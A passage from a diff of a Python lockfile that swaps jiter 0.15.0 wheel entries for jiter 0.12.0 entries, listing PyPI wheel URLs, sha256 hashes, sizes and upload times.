- { url = "https://files.pythonhosted.org/packages/44/53/4f6bddbcde3c71e56d0aa1337ec95950f3d27dd4153e25aadf0feac71751/jiter-0.15.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:0e90a1c315a0226ec822d973817967f9223b7701546c8c2a7913e7ab0926294d", size = 308793, upload-time = "2026-05-19T10:07:35.25Z" },
- { url = "https://files.pythonhosted.org/packages/01/84/c01099b59a285a1ebba64ae93f62bfa036675340fd1b0045ae65890a0442/jiter-0.15.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8c9004af7c8d67cce7f1aae1026fb55607f4aa600710d08ede3a3ce4aeefe7e0", size = 309570, upload-time = "2026-05-19T10:07:36.919Z" },
- { url = "https://files.pythonhosted.org/packages/58/64/8fb7f9d45bb98190355454cd04dad8d8f27223d6bd52f83af07f637168a6/jiter-0.15.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c210f8b35dc6f30aafd4b4365ca89b9d1189f21ab49b8e68fa6322a847aef138", size = 336783, upload-time = "2026-05-19T10:07:38.694Z" },
- { url = "https://files.pythonhosted.org/packages/c3/b6/f5739011d009b3a30f6a53c5240979030ba29ae46a8c67e3a15759f7c37d/jiter-0.15.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:5f30bae8bc1c2d613e28e5af3e8cceb09b742f1c8a8a5f839fb67afaffc03b61", size = 363555, upload-time = "2026-05-19T10:07:40.832Z" },
- { url = "https://files.pythonhosted.org/packages/e5/12/98a9d9f766665e8a3b6252454e17cb0c464606a28cf2fa09399b003345fa/jiter-0.15.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c60e71b6d10cfc284c9bf36bd885e8d44c46f688ce50aa91b5edd90181dea687", size = 452255, upload-time = "2026-05-19T10:07:42.62Z" },
- { url = "https://files.pythonhosted.org/packages/e8/d5/60f972840f79c5e7544fce567c56f1e4e50468f996baba3e78d823dd62a6/jiter-0.15.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0ab068bce62a45aa3e7367eceaffb5dde60b7eb853be8dece45132e3d0ff4879", size = 373559, upload-time = "2026-05-19T10:07:44.201Z" },
- { url = "https://files.pythonhosted.org/packages/ee/cf/d46ef1234ba335aabc2f013210db8e0821a22f5e644a2e9449df199ecc23/jiter-0.15.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fa248c9eb220197d363f688818dac2fd4b2f0cd7d843ca7105d652034823427d", size = 346055, upload-time = "2026-05-19T10:07:46.005Z" },
- { url = "https://files.pythonhosted.org/packages/f0/63/4d2749d8d54d230bad9b3a6b0d00cc28c6ff6b2fdffc26a8ccf76cc5a974/jiter-0.15.0-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:2a77aadd57cac1682e4401a72724d2796d89a4ba129b1a5812aa94ee480826eb", size = 351406, upload-time = "2026-05-19T10:07:47.855Z" },
- { url = "https://files.pythonhosted.org/packages/d9/b9/9965b990035d8773328e0a8c8b457a87bf2b19f6c4126d9d99296be5d16a/jiter-0.15.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2ae901f3a55bfafdde31d289590fa25e3245735a2b1e8c7cc15871710a002871", size = 389357, upload-time = "2026-05-19T10:07:49.665Z" },
- { url = "https://files.pythonhosted.org/packages/2d/55/9ddf903deda1413e87fed792f416b7123daee5b8efbad6a202a7421c36a5/jiter-0.15.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:f0b271b462769543716f92d3a4f90527df6ef5ed05ee95ec4137f513e21e1b77", size = 517263, upload-time = "2026-05-19T10:07:51.537Z" },
- { url = "https://files.pythonhosted.org/packages/e8/76/a0c40ad064d3a20a4fde231e35d56e9a01ce82164278180e82d5daf85469/jiter-0.15.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:2fb6a5d26af81fc0f00f9360a891e05cf755e149bba391c4d563adc54812973d", size = 548646, upload-time = "2026-05-19T10:07:53.196Z" },
- { url = "https://files.pythonhosted.org/packages/23/4f/eca9b954942916ba2f453891b8593ab444cd872396fe66a3936616f236f3/jiter-0.15.0-cp312-cp312-win32.whl", hash = "sha256:c2f6bb8b5216ab9e7873bc08b5d7bef2b8abbb578a3069bf1cd14a45d71d771d", size = 206427, upload-time = "2026-05-19T10:07:55.307Z" },
- { url = "https://files.pythonhosted.org/packages/95/bf/8ead82a87495149542748e828d153fd232a512a22c83b02c4815c1a9c7d8/jiter-0.15.0-cp312-cp312-win_amd64.whl", hash = "sha256:40b2c7e92c44a84d748d21706c68dc6ff8161d80b59c99d774721a0d2317d7c7", size = 197300, upload-time = "2026-05-19T10:07:56.651Z" },
- { url = "https://files.pythonhosted.org/packages/f4/e4/9b8a78fb2d894471bc344e37f1949bdd784bd914d031dba0ba3a40c71dd7/jiter-0.15.0-cp312-cp312-win_arm64.whl", hash = "sha256:cc0bc345cf2df9d1c00ac443f50d543c1ccfa8b0422cb85b1ab70d681c0b255b", size = 192702, upload-time = "2026-05-19T10:07:58.307Z" },
- { url = "https://files.pythonhosted.org/packages/e5/f4/f708c900ecee41b2025ef8413d5351e5649eb2125c506f6720cc69b06f5c/jiter-0.15.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:1c11465f97e2abf45a014b83b730222f8f1c5335e802c7055a67d50de6f1f4e3", size = 307829, upload-time = "2026-05-19T10:07:59.704Z" },
- { url = "https://files.pythonhosted.org/packages/86/59/db537c0949e83668c38481d426b9f2fd5ab758c4ee53a811dd0a510626a0/jiter-0.15.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d1e7b1776f0797956c509e123d0952d10d293a9492dea9f288ab9570ec01d1a5", size = 308445, upload-time = "2026-05-19T10:08:01.184Z" },
- { url = "https://files.pythonhosted.org/packages/37/38/ea0e13b18c30ef951da0d47d39e7fa9edb82a93a62990ffbd7cea9b622d4/jiter-0.15.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:351a341c2105aa430b7047e30f1bf7975f6313b00165d3fc07be2edaf741f279", size = 336181, upload-time = "2026-05-19T10:08:02.688Z" },
- { url = "https://files.pythonhosted.org/packages/58/fc/2303901b16c4ba05865588990a420c0b4156270b44379c20931544a1d962/jiter-0.15.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4ab395feec8d249ec4044e228e98a7033f043426a265df439dc3698823f0a4e4", size = 362985, upload-time = "2026-05-19T10:08:04.394Z" },
- { url = "https://files.pythonhosted.org/packages/5b/6f/11bace093c52e7d4d26c8e606ccd7ae8c972189622469ec0d9e28161e28b/jiter-0.15.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a2a438005b6f22d0273413484d6094d7c2c5d10ec1b3a3bf128e0d1d3ba53258", size = 453292, upload-time = "2026-05-19T10:08:05.967Z" },
- { url = "https://files.pythonhosted.org/packages/22/db/987f2f086ca4d7a6582eb4ccd513f9b26b42d9e4243a087609a3137a8fc7/jiter-0.15.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f18f85e4218d1b40f000f42a92239a7a61a902cd42c65e6c360dbd17dcb20894", size = 373501, upload-time = "2026-05-19T10:08:07.857Z" },
- { url = "https://files.pythonhosted.org/packages/8f/7c/89fbcabb2739b7a5b8dc959a1b6c5761f6484f5fed3486854b3c789bb1de/jiter-0.15.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d1aa62e277fc1cbd80e6deacae6f4d983b41b3d7728e0645c5d741a6149bba45", size = 344683, upload-time = "2026-05-19T10:08:09.431Z" },
- { url = "https://files.pythonhosted.org/packages/30/6f/6cca7692e7dddfec6d8d76c54dc97f2af2a41df4ac0674b999df1f09a5f3/jiter-0.15.0-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:6550fa135c7deb8ead6af49ed7ff648532ea8334a1447fe34a36315ef79c5c29", size = 350892, upload-time = "2026-05-19T10:08:11.352Z" },
- { url = "https://files.pythonhosted.org/packages/39/14/0338d6190cb8e6d22e677ab1d4eabd4117f67cca70c54cd04b82ff64e068/jiter-0.15.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:066f8f33f18b2419cd8213b2436fa7fbc9c499f315971cfa3ce1f9820c001b1b", size = 388723, upload-time = "2026-05-19T10:08:12.912Z" },
- { url = "https://files.pythonhosted.org/packages/90/31/cc19f4a1bdb6afb09ce6a2f2615aa8d44d994eba0d8e6105ed1af920e736/jiter-0.15.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:75e8a04e91432dde9f1838373cf93d23726c79d3e908d319acf0e796f85592e7", size = 516648, upload-time = "2026-05-19T10:08:14.808Z" },
- { url = "https://files.pythonhosted.org/packages/49/9f/833c541512cd091b63c10c0381973dfe11bc7a503a818c16384417e0c81e/jiter-0.15.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:a97261f1fccb8e50ecd2890a96e46efdc3f57c80a197324c6777827231eca712", size = 547382, upload-time = "2026-05-19T10:08:16.927Z" },
- { url = "https://files.pythonhosted.org/packages/d2/11/e7b70e91f90bc4477e8eee9e8a5f7cf3cb41b4525d6394dc98a714eb8f7f/jiter-0.15.0-cp313-cp313-win32.whl", hash = "sha256:c77496cb10bd7549690fbbab3e5ec05857b83e49276f4a9423a766ddd2afcd4c", size = 205845, upload-time = "2026-05-19T10:08:18.401Z" },
- { url = "https://files.pythonhosted.org/packages/4b/23/5c20d9ad6f02c493e4023e5d2d09e1c1f15fe2753c9102c544aff068a88e/jiter-0.15.0-cp313-cp313-win_amd64.whl", hash = "sha256:b15741f501469009ae0ae90b7147958a664a7dede40aa7ff174a8a4645f546d0", size = 196842, upload-time = "2026-05-19T10:08:20.131Z" },
- { url = "https://files.pythonhosted.org/packages/6b/11/1eb400ef248e8c925fd883fbe325daf5e42cd1b0d308539dd332bd4f7ffc/jiter-0.15.0-cp313-cp313-win_arm64.whl", hash = "sha256:5d6a60072b44c3c2b797a7ddcbcbbf2b34ea3cfd4721580fbfd2a09d9d9b84ba", size = 192212, upload-time = "2026-05-19T10:08:21.807Z" },
- { url = "https://files.pythonhosted.org/packages/8a/60/2fd8d7c79da8acf9b7b277c7616847773779356b92acfc9bb158452174da/jiter-0.15.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:ef1fd24d9413f6209e00d3d5a453e67acfe004a25cc6c8e8484faed4311ab9e8", size = 315065, upload-time = "2026-05-19T10:08:23.218Z" },
- { url = "https://files.pythonhosted.org/packages/46/f4/008fb7d65e8ac2abf00811651a661e025c4ba80bbc6f378450384ddd3aed/jiter-0.15.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:144f8e72cb53dab146347b91cceac01f5481237f2b93b4a339a1ee8f8878b67c", size = 339444, upload-time = "2026-05-19T10:08:24.701Z" },
- { url = "https://files.pythonhosted.org/packages/00/55/90b0c7b9c6896c0f2a591dd36d36b71d22e09674bfef178fa03ba3f81499/jiter-0.15.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:553fcac2ef2cb990877f9fc0833b8b629a3e6a5670b6b5fd58219b41a653ddc4", size = 347779, upload-time = "2026-05-19T10:08:26.408Z" },
- { url = "https://files.pythonhosted.org/packages/51/6b/69666cec5000fd57734c118437394516c749ae8dbeea9fb66d6fef9c4775/jiter-0.15.0-cp313-cp313t-win_amd64.whl", hash = "sha256:774f93f65031856bf14ad9f59bdcab8b8cad501e5ceabd51ba3525f76937a25b", size = 200395, upload-time = "2026-05-19T10:08:28.055Z" },
- { url = "https://files.pythonhosted.org/packages/39/04/a6aa62cd27e8149b0d28df5561f10f6cceaf7935a9ccf3f1c5a05f9a0cd8/jiter-0.15.0-cp313-cp313t-win_arm64.whl", hash = "sha256:f1e1754960f38ec40613a07e5e372df67acb3b890fb383b6fb3de3e49ddbf3c7", size = 190516, upload-time = "2026-05-19T10:08:29.35Z" },
- { url = "https://files.pythonhosted.org/packages/eb/d2/079f350ebf7859d081de30aa890f9e3be68516f754f3ba32366ffff4dcee/jiter-0.15.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:ac0d9ddea4350974be7a221fc25895f251a8fee748c889bdced2141c0fec1a49", size = 308884, upload-time = "2026-05-19T10:08:31.667Z" },
- { url = "https://files.pythonhosted.org/packages/04/4e/a2c30a7f69b48c03b20935d647479106fe932f6e63f75faf53937197e05d/jiter-0.15.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:01a8222cf05ab1128e239421156c207949808acaaea2bdfd33130ae666786e86", size = 310028, upload-time = "2026-05-19T10:08:33.304Z" },
- { url = "https://files.pythonhosted.org/packages/40/90/2e7cdfd3cf8ca967be38c48f5cf474d79f089efaf559a40f15984a77ae69/jiter-0.15.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:182226cbc930c9fab81bc2e41a4da672f89539906dadb05e75670ac07b94f71f", size = 337485, upload-time = "2026-05-19T10:08:35.259Z" },
- { url = "https://files.pythonhosted.org/packages/9b/11/15a1aa28b120b8ee5b4f1fb894c125046225f09847738bd64233d3b84883/jiter-0.15.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:71683c38c825452999b5717fcae07ea708e8c93003e808be4319c1b02e3d176e", size = 364223, upload-time = "2026-05-19T10:08:36.694Z" },
- { url = "https://files.pythonhosted.org/packages/b7/25/f442e8af5f3d0dcf47b39e83a0efd9ee45ea946aa6d04625dc3181eae3b6/jiter-0.15.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:30f2218e6a9e5c18bc10fe6d41ac189c442c88eacf11bad9f28ef95a9bef00e6", size = 456387, upload-time = "2026-05-19T10:08:38.143Z" },
- { url = "https://files.pythonhosted.org/packages/da/f4/37f2d2c9f64f49af7da652ed7532bb5a2372e588e6927c3fdd76f911db65/jiter-0.15.0-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5157de9f76eb4bc5ea74a1219366a25f945ad305641d74e04f59c54087091aa9", size = 374461, upload-time = "2026-05-19T10:08:39.869Z" },
- { url = "https://files.pythonhosted.org/packages/60/28/edcfbbbf0cb15436f36664a8908a0df47ab9006298d4cd937dc08ea932d6/jiter-0.15.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:90c5db5527c221249a876160663ab891ace358c17f7b9c93ec1478b7f0550e5c", size = 345924, upload-time = "2026-05-19T10:08:41.668Z" },
- { url = "https://files.pythonhosted.org/packages/47/13/89fba6398dab7f202b7278c4b4aac122399d2c0183971c4a57a3b7088df5/jiter-0.15.0-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:3e4540b8e74e4268811ac05db226a6a128ff572e7e0ce3f1163b693cadb184cd", size = 352283, upload-time = "2026-05-19T10:08:43.091Z" },
- { url = "https://files.pythonhosted.org/packages/1b/da/0f6af8cef2c565a1ab44d970f268c43ccaa72707386ea6388e6fe2b6cd26/jiter-0.15.0-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:62ebd14e47e9aed9df4472afcb2663668ce4d74891cd54f86bf6e44029d6dc89", size = 389985, upload-time = "2026-05-19T10:08:44.915Z" },
- { url = "https://files.pythonhosted.org/packages/a1/ec/b9cb7d6d29e24ee14910266157d2a279d7a8f60ee0df7fa840882976ba64/jiter-0.15.0-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:0be6f5ad41a809f303f416d17cec92a7a725902fb9b4f3de3d19362ac0ef8554", size = 517695, upload-time = "2026-05-19T10:08:46.486Z" },
- { url = "https://files.pythonhosted.org/packages/64/5e/6d1bda880723aae0ad86b4b763f044362448efe31e3e819635d41cb03451/jiter-0.15.0-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:813dfbb17d65328bf86e5f0905dd277ba2265d3ca20556e86c0c7035b7182e5a", size = 548868, upload-time = "2026-05-19T10:08:48.026Z" },
- { url = "https://files.pythonhosted.org/packages/0c/72/7de501cf38dcacaf35098796f3a50e0f2e338baba18a58946c618544b809/jiter-0.15.0-cp314-cp314-win32.whl", hash = "sha256:50e51156192722a9c58db112837d3f8ef96fb3c5ecc14e95f409134b08b158ec", size = 206380, upload-time = "2026-05-19T10:08:49.738Z" },
- { url = "https://files.pythonhosted.org/packages/1e/a9/e19addf4b0c1bdce52c6da12351e6bc42c340c45e7c09e2158e46d293ccc/jiter-0.15.0-cp314-cp314-win_amd64.whl", hash = "sha256:30ce1a5d16b5641dc935d50ef775af6a0871e3d14ab05d6fc54dff371b78e558", size = 197687, upload-time = "2026-05-19T10:08:51.088Z" },
- { url = "https://files.pythonhosted.org/packages/f2/c9/776b1db01db25fc6c1d58d1979a37b0a9fe787e5f5b1d062d2eaacb77923/jiter-0.15.0-cp314-cp314-win_arm64.whl", hash = "sha256:510c8b3c17a0ed9ac69850c0438dada3c9b82d9c4d589fcb62002a5a9cf3a866", size = 192571, upload-time = "2026-05-19T10:08:52.451Z" },
- { url = "https://files.pythonhosted.org/packages/a0/f6/45bb4670bacf300fd2c7abadbfb3af376e5f1b6ae75fd9bc069891d15870/jiter-0.15.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7553333dd0930c104a5a0db8df72bf7219fe663d731383b576bb6ed6351c984d", size = 317151, upload-time = "2026-05-19T10:08:53.867Z" },
- { url = "https://files.pythonhosted.org/packages/d7/68/ed635ad5acd7b73e454283083bbb7c8205ad10e88b0d9d7d793b09fe8226/jiter-0.15.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f2143ab06181d2b029eedcb6af3cebe95f11bbac62441781860f98ee9330a6a6", size = 341243, upload-time = "2026-05-19T10:08:55.383Z" },
- { url = "https://files.pythonhosted.org/packages/5d/db/3ff4176b817b8ea33879e71e13d8bc2b0d481a7ed3fe9e080f333d415c16/jiter-0.15.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6eac374c5c975709b69c10f09afd199df74150172156ad10c8d4fd785b7da995", size = 363629, upload-time = "2026-05-19T10:08:56.928Z" },
- { url = "https://files.pythonhosted.org/packages/ab/24/5f8270e0ba9c883582f96f722f8a0b58015c7ce1f8c6d4571cf394e99b6b/jiter-0.15.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b3b3b775e33d3bfaec9899edc526ae97b0da0bf9d071a46124ba419149a414f8", size = 456198, upload-time = "2026-05-19T10:08:58.618Z" },
- { url = "https://files.pythonhosted.org/packages/45/5b/76fc02b0b5c54c3d18c60653156e2f76fde1816f9b4722db68d6ee2c897e/jiter-0.15.0-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:eda3071db3346334beae1360b46da4606da57bf3528c167b3c38533afaf9f2c5", size = 373710, upload-time = "2026-05-19T10:09:00.151Z" },
- { url = "https://files.pythonhosted.org/packages/c4/52/4310821b0ea9277994d3e1f49fc6a4b34e4800caebacb2c0af81da59a454/jiter-0.15.0-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c6694a173ecabc12eb60efbc0b474464ead1951ff65cd8b1e72100715c64512b", size = 349901, upload-time = "2026-05-19T10:09:01.621Z" },
- { url = "https://files.pythonhosted.org/packages/93/fe/67648c35b3594fba8854ac64cc8a826d8bcd18324bbdb53d77697c60b6ef/jiter-0.15.0-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:a254e10b593624d230c365b6d616b22ca0ad65e63a16e6631c2b3466022e6ba8", size = 352438, upload-time = "2026-05-19T10:09:03.216Z" },
- { url = "https://files.pythonhosted.org/packages/cb/28/0a1879d07ad6b3e025a2750027363452ced93c2d16d1c9d4b153ffd51c91/jiter-0.15.0-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d8d2955167274e15d79a7a020afdd9b39c990eb80b2d89fca695d92dcfdd38ec", size = 388152, upload-time = "2026-05-19T10:09:04.741Z" },
- { url = "https://files.pythonhosted.org/packages/c1/78/46c6f6b56ba85c90021f4afd72ed42f691f8f84daacb5fe27277070e3858/jiter-0.15.0-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:acf4ee4d1fc55917239fe72972fb292dd773055d05eb040d36f4326e02cc2c0e", size = 517707, upload-time = "2026-05-19T10:09:06.231Z" },
- { url = "https://files.pythonhosted.org/packages/ca/cb/720662d4c88fcad606e826fef5424365527ba43ce4868a479aed8f8c507e/jiter-0.15.0-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:e7196e56f1cd69af1dbb07dff02dcfb260a50b45a82d409d92a06fedb32473b5", size = 548241, upload-time = "2026-05-19T10:09:08.093Z" },
- { url = "https://files.pythonhosted.org/packages/60/e3/935b8034fd143f21125c87d51404a9e0e1449186a494405721ff5d1d695e/jiter-0.15.0-cp314-cp314t-win32.whl", hash = "sha256:7f6163c0f10b055245f814dcc59f4818da60dfe72f3e72ab89fc24b6bd5e9c52", size = 207950, upload-time = "2026-05-19T10:09:09.616Z" },
- { url = "https://files.pythonhosted.org/packages/93/59/984fd9ece895953dad3e0880a650e766f5a2da2c5514f0eafdaaabbeb5f9/jiter-0.15.0-cp314-cp314t-win_amd64.whl", hash = "sha256:980c256edb05b78a111b99c4de3b1d32e31634b867fd1fc2cf726e7b7bba9854", size = 200055, upload-time = "2026-05-19T10:09:11.367Z" },
- { url = "https://files.pythonhosted.org/packages/0e/a4/cf8d779feb133a27a2e3bc833bccb9e13aa332cdf820497ebf72c10ce8c3/jiter-0.15.0-cp314-cp314t-win_arm64.whl", hash = "sha256:66b1880df2d01e206e8339769d1c7c1753bcb653efd6289e203f6f24ebada0c0", size = 191244, upload-time = "2026-05-19T10:09:12.74Z" },
- { url = "https://files.pythonhosted.org/packages/65/43/1fc62172aa98b50a7de9a25554060db510f85c89cfbed0dfe13e1907a139/jiter-0.15.0-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:411fa4dfa5a7ae3d11491027ffb9beadec3996010a986862db70d91abba1c750", size = 305585, upload-time = "2026-05-19T10:09:35.995Z" },
- { url = "https://files.pythonhosted.org/packages/e8/c4/dd58fcd9e2df83666e5c1c1347bef58ce919cd8efc3ffa38aeea62ce493b/jiter-0.15.0-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:2b0074e2f56eb2dacca1689760fd2852a068f85a0547a157b82cb4cafeb6768b", size = 306936, upload-time = "2026-05-19T10:09:37.435Z" },
- { url = "https://files.pythonhosted.org/packages/39/86/b695e16f1180c07f43ea98e73ecd21cf63fa2e1b0c1103739013784d11ae/jiter-0.15.0-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:913d02d29c9606643418d9ccfc3b72492ab25a6bf7889934e09a3490f8d3438b", size = 342453, upload-time = "2026-05-19T10:09:39.294Z" },
- { url = "https://files.pythonhosted.org/packages/34/56/55d76614af37fe3f22a3347d1e410d2a15da581997cb2da499a625000bb5/jiter-0.15.0-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b15d3ec9b0449c40e85319bdb4caa8b77ab526e74f5532ed94bec15e2f66822c", size = 345606, upload-time = "2026-05-19T10:09:40.727Z" },
- { url = "https://files.pythonhosted.org/packages/73/38/505941b2b092fd5bbbd60a52a880db1173f1690ae6751bed3af1c9ddcb4e/jiter-0.15.0-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:631f13a3d04e97d4e083993b10f4b99530e3a10d953e2eb5e196b7dc7f812ce0", size = 303769, upload-time = "2026-05-19T10:09:42.203Z" },
- { url = "https://files.pythonhosted.org/packages/e7/95/a06692b29e77473f286e1ec1f426d3ca44d7b5843be8ad21d7a5f3fcdcc0/jiter-0.15.0-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:b6c0ffae686c39bf3737be60793783267628783ea42545632c10b291105aee45", size = 305128, upload-time = "2026-05-19T10:09:43.657Z" },
- { url = "https://files.pythonhosted.org/packages/23/85/7270d7ad41d6061a25b950c6bf91d638bd9aacb113200a8c8d57a055fd67/jiter-0.15.0-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1d54fb5b31dea401a41af3f8a7d2512e9b6a6a005491e6166c7e4ffab9639a9c", size = 340459, upload-time = "2026-05-19T10:09:45.452Z" },
- { url = "https://files.pythonhosted.org/packages/c8/8d/302cb2057b7513327b4d575cff6b1d066ee6431a5357fc3f8867cd684406/jiter-0.15.0-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:54d5d6090cdc1b7c9e780dfb04949a990adb1e301a2fc0bbcee7de4638d33f9a", size = 344469, upload-time = "2026-05-19T10:09:46.864Z" },
+version = "0.12.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/45/9d/e0660989c1370e25848bb4c52d061c71837239738ad937e83edca174c273/jiter-0.12.0.tar.gz", hash = "sha256:64dfcd7d5c168b38d3f9f8bba7fc639edb3418abcc74f22fdbe6b8938293f30b", size = 168294, upload-time = "2025-11-09T20:49:23.302Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/3b/91/13cb9505f7be74a933f37da3af22e029f6ba64f5669416cb8b2774bc9682/jiter-0.12.0-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:e7acbaba9703d5de82a2c98ae6a0f59ab9770ab5af5fa35e43a303aee962cf65", size = 316652, upload-time = "2025-11-09T20:46:41.021Z" },
+ { url = "https://files.pythonhosted.org/packages/4e/76/4e9185e5d9bb4e482cf6dec6410d5f78dfeb374cfcecbbe9888d07c52daa/jiter-0.12.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:364f1a7294c91281260364222f535bc427f56d4de1d8ffd718162d21fbbd602e", size = 319829, upload-time = "2025-11-09T20:46:43.281Z" },
+ { url = "https://files.pythonhosted.org/packages/86/af/727de50995d3a153138139f259baae2379d8cb0522c0c00419957bc478a6/jiter-0.12.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:85ee4d25805d4fb23f0a5167a962ef8e002dbfb29c0989378488e32cf2744b62", size = 350568, upload-time = "2025-11-09T20:46:45.075Z" },
+ { url = "https://files.pythonhosted.org/packages/6a/c1/d6e9f4b7a3d5ac63bcbdfddeb50b2dcfbdc512c86cffc008584fdc350233/jiter-0.12.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:796f466b7942107eb889c08433b6e31b9a7ed31daceaecf8af1be26fb26c0ca8", size = 369052, upload-time = "2025-11-09T20:46:46.818Z" },
+ { url = "https://files.pythonhosted.org/packages/eb/be/00824cd530f30ed73fa8a4f9f3890a705519e31ccb9e929f1e22062e7c76/jiter-0.12.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:35506cb71f47dba416694e67af996bbdefb8e3608f1f78799c2e1f9058b01ceb", size = 481585, upload-time = "2025-11-09T20:46:48.319Z" },
+ { url = "https://files.pythonhosted.org/packages/74/b6/2ad7990dff9504d4b5052eef64aa9574bd03d722dc7edced97aad0d47be7/jiter-0.12.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:726c764a90c9218ec9e4f99a33d6bf5ec169163f2ca0fc21b654e88c2abc0abc", size = 380541, upload-time = "2025-11-09T20:46:49.643Z" },
+ { url = "https://files.pythonhosted.org/packages/b5/c7/f3c26ecbc1adbf1db0d6bba99192143d8fe8504729d9594542ecc4445784/jiter-0.12.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:baa47810c5565274810b726b0dc86d18dce5fd17b190ebdc3890851d7b2a0e74", size = 364423, upload-time = "2025-11-09T20:46:51.731Z" },
+ { url = "https://files.pythonhosted.org/packages/18/51/eac547bf3a2d7f7e556927278e14c56a0604b8cddae75815d5739f65f81d/jiter-0.12.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f8ec0259d3f26c62aed4d73b198c53e316ae11f0f69c8fbe6682c6dcfa0fcce2", size = 389958, upload-time = "2025-11-09T20:46:53.432Z" },
+ { url = "https://files.pythonhosted.org/packages/2c/1f/9ca592e67175f2db156cff035e0d817d6004e293ee0c1d73692d38fcb596/jiter-0.12.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:79307d74ea83465b0152fa23e5e297149506435535282f979f18b9033c0bb025", size = 522084, upload-time = "2025-11-09T20:46:54.848Z" },
+ { url = "https://files.pythonhosted.org/packages/83/ff/597d9cdc3028f28224f53e1a9d063628e28b7a5601433e3196edda578cdd/jiter-0.12.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:cf6e6dd18927121fec86739f1a8906944703941d000f0639f3eb6281cc601dca", size = 513054, upload-time = "2025-11-09T20:46:56.487Z" },
